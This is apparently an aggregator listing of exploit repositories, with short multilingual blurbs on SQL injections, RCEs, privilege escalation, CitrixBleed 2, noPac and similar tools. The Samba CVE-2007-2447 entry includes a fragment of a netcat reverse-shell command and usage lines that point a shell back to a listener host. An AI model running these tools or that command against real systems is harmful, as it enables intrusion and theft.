vger

V'ger V'ger è un'applicazione interattiva da riga di comando per il post-sfruttamento di istanze Jupyter autenticate, con focus sulle operazioni di sicurezza AI/ML. Storie Utente Come Red Teamer , hai trovato credenziali Jupyter ma non sai cosa farci. V'ger è organizzato in un formato che dovrebb...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Descrição do Projeto e Princípio Primeiro exploit do mundo para a vulnerabilidade CVE-2024-4577 PHP-CGI RCE usando o ambiente PHP padrão XAMPP. O primeiro exploit do mundo para CVE-2024-4577 PHP-CGI RCE utilizando o ambiente PHP padrão. Compartilhando exploit original, supor...

CVE-2024-33911

The School Management 10.3.4 - SQL-Injection nach Authentifizierung Exploit-Titel: The School Management 10.3.4 - SQL-Injection nach Authentifizierung Datum: 29. April 2024 Exploit-Autor: Ivan Spiridonov xbz0n Hersteller-Website: https://theschool-management.com Version: 10.3.4 Getestet auf:...

CVE-2024-32136

BWL Advanced FAQ Manager 2.0.3 - SQL Injection post-autenticazione Titolo dell'exploit: BWL Advanced FAQ Manager 2.0.3 - SQL Injection post-autenticazione Data: 14 aprile 2024 Autore dell'exploit: Ivan Spiridonov xbz0n Link del software: https://codecanyon.net/item/bwl-advanced-faq-manager/500713...

Exploit-CVE-2021-21086

CVE-2021-21086 Exploit Dieses Exploit ermöglicht es, einen Shellcode im Kontext des Rendering-Prozesses von Adobe Acrobat Reader DC 2020.013.20074 und früheren Versionen unter Windows 10 auszuführen. Hinweis: Der in diesem Beispiel verwendete Shellcode öffnet einen Rechner. Damit es funktioniert,...

CVE-2018-14847

WinboxExploit Dies ist ein Proof-of-Concept der kritischen WinBox-Sicherheitslücke CVE-2018-14847, die das beliebige Auslesen von Klartextpasswörtern ermöglicht. Blogbeitrag https://n0p.me/winbox-bug-dissection/ Voraussetzungen Python 3+ Dieses Skript wird NICHT mit Python 2.x oder niedriger...

CVE-2024-0566

CVE-2024-0566 Smart Manager 8.27.0 - SQL Injection post-autenticazione Titolo Exploit: Smart Manager 8.27.0 - SQL Injection post-autenticazione Data: 2024-01-18 Autore Exploit: Ivan Spiridonov - xbz0n Sito del Venditore: https://www.storeapps.org/ Link del Software:...

CVE-2024-0399

CVE-2024-0399 - WooCommerce Customers Manager 29.4 - SQL-Injection nach Authentifizierung Exploit-Titel: WooCommerce Customers Manager 29.4 - SQL-Injection nach Authentifizierung Datum: 2024-03-25 Autor des Exploits: Ivan Spiridonov - xbz0n Software-Link:...

CVE-2022-0492

CVE-2022-0492 Analyse des Container-Escape toc Schwachstellenübersicht Schwachstellen-ID: CVE-2022-0492 Betroffenes Produkt: Linux Kernel - cgroup Betroffene Versionen: Linux Kernel 5.17-rc3 Auswirkungen: Wenn der Container keine zusätzlichen Sicherheitsmaßnahmen aktiviert hat, kann ein...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Questo repository contiene il mio codice exploit per la vulnerabilità RCE in Adobe ColdFusion 2018. Descrizione dell'Exploit L'exploit invia una richiesta POST contenente una reverse shell JSP a...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilizzo root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

CVE-2023-21768-dotnet

CVE-2023-21768 - Dotnet Porting Dotnet / c dell'exploit AFD-for-WinSock-EoP Riferimenti: https://github.com/zoemurmure/CVE-2023-21768-AFD-for-WinSock-EoP-exploit https://github.com/chompie1337/WindowsLPEAFDCVE-2023-21768 Perché? A volte non puoi usare binari compilati. Come fare? Esegui quanto...

React2Shell

⚛️ React2Shell CVE-2025-55182 Fortschrittliches Exploitation-Toolkit für Next.js Server Actions CVE-2025-55182. React2Shell ist ein leistungsstarker, interaktiver Shell-Wrapper, der entwickelt wurde, um die React2Shell-Sicherheitslücke auszunutzen. Es geht über einfache RCE hinaus, indem es...

bst

Binary String Toolkit Sommario Il Binary String Toolkit o BST in breve è un'utilità piuttosto semplice per convertire stringhe binarie in vari formati adatti all'inclusione in codici sorgente, come quelli utilizzati per sviluppare exploit e Proof of Concept nel campo della sicurezza...

bst

Binary String Toolkit Summary The Binary String Toolkit or BST for short is a rather simple utility to convert binary strings to various formats suitable for inclusions in source codes, such as those used to develop exploits and Proof of Concepts in the security field. Features Convert and dump...

CVE-2026-8732

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0 ♡ Nicht authentifizierte Privilegienausweitung durch Erstellung eines Administratorkontos ♡ === shadow ♡ & friska === 📋 Schwachstellen-Informationen Feld| Details ---|--- CVE-ID| CVE-2026-8732 CVSS-Score| 9.8 Kritisch CVSS-Vektor|...

hacker-roadmap

Questa repository offre una panoramica di ciò che serve per imparare il penetration testing e una raccolta di strumenti, risorse e riferimenti per praticare l'hacking etico. La maggior parte degli strumenti sono compatibili con UNIX, gratuiti e open source. Stato Questo progetto è stato chiuso e...

CVE-2021-3156

CVE-2021-3156 Root shell PoC для CVE-2021-3156 без брутфорса Для образовательных целей и т.д. Протестировано на Ubuntu 20.04 с sudo 1.8.31 Вся заслуга в исследовании: Qualys Research Team Подробности смотрите в их блоге. Вы можете проверить, уязвима ли ваша версия sudo, с помощью: $ sudoedit -s Y...

CitrixBleed-2-CVE-2025-5777-PoC-

CitrixBleed 2 CVE-2025-5777 Ultimative Analyse An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Ein umfassendes Handbuch von der Ursache bis zur Angriffs- und Verteidigungsübung PoC-Verwendung: python3 poc.py https://gateway.example.com Exploit-Verwendung: python3 exp.py...

noPac

Über NoPac-Exploit, der einige alte Schwachstellen CVE-2021-42278 und CVE-2021-42287 ausnutzt, um sich von einem Standardbenutzer als Domänenadministrator auszugeben. Keine lästigen Abhängigkeiten mehr, nur eine einzelne Binärdatei – heilige Scheiße, ich liebe Go, Python könnte das NIEMALS. Das...